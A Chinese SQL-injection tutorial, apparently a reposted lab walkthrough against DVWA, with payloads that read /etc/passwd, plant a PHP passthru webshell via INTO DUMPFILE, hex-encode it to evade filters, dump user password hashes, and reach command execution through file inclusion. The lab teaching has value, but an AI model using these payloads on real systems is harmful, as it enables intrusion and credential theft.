上一篇講到可以通過注入得到資料庫中所有的表資訊
而SQL注入能不能做資料庫之外的事情呢?
讀取檔案:
' union select null,load_file('/etc/passwd') --

為了友善進行測試,後邊我使用Burpsuite
既然可以讀取檔案了,那麼也就可以寫檔案:比如經典的PHP一句話
' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" --
結果是無法寫入檔案,這是什麼原因呢?
我猜測是目錄權限的問題
于是去掉/var/www
' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' --
成功,是以得出應該是目錄問題
首先我們看一下上傳成功的檔案在哪個目錄:
發現在/var/lib/mysql/dvwa下存放
檢視後發現屬主和屬組是Mysql,其他使用者無法通路,甚至mysql組其他使用者都沒有權限
然後我們以root的身份進入dvwa目錄檢視a.php
那麼我們就沒有辦法把這一句話PHP檔案寫入到指定位置了嗎?
我們可以結合以前提到的檔案包含漏洞,寫入通用目錄/tmp/,最終達到指令執行
實作:
寫入:注意這裡的單雙引号
' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" --
然後利用檔案包含漏洞:
最終成功!
是以SQL注入寫檔案,是以mysql使用者寫入的,是以可以采用中間目錄的方法,然後結合其他漏洞完成指令執行
如果目标系統管理者的權限配置不當,那麼隻要能夠SQL注入,就可以直接拿到shell
既然可以上傳一句話PHP,那麼也可以上傳反彈連接配接PHP腳本
找到Kali自帶的PHP反彈連接配接腳本,重命名為b.php,利用xxd轉換為十六進制
由于伺服器通常會過濾<?以及換行符,我們再使用tr去除換行符
得到一堆16進制,複制出來,替換位置(1)
' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" --
發送之後,理論上會成功,但是由于URL過長,報錯
可以換一個小木馬,甚至就使用剛才的a.php
'%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20
進行URL編碼後就是上邊的結果:注意(0x之前必須加一個空格!
在metasploitable中查到了,實際上就是剛才的a.php内容,但是我們使用十六進制編碼繞過了過濾
驗證指令執行:
成功!
有時候,資料庫的内容太多,我們不可以在一個頁面中觀看
是以考慮如何直接把資料庫下載下傳下來
' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" --
檢視:
擴充:一個思路
我們甚至可以直接給目标開發一個功能:自定義一個表單,輸入資訊,然後在資料庫插入資訊
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text"
name="last_name"><br> <input type="text" name="username"><br>
<input type="text" name="avatar"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" --
然後利用檔案包含漏洞,即可利用
這種方式實際上并沒有成功,不過可以作為一個思路
轉載于:https://www.cnblogs.com/xuyiqing/p/10361199.html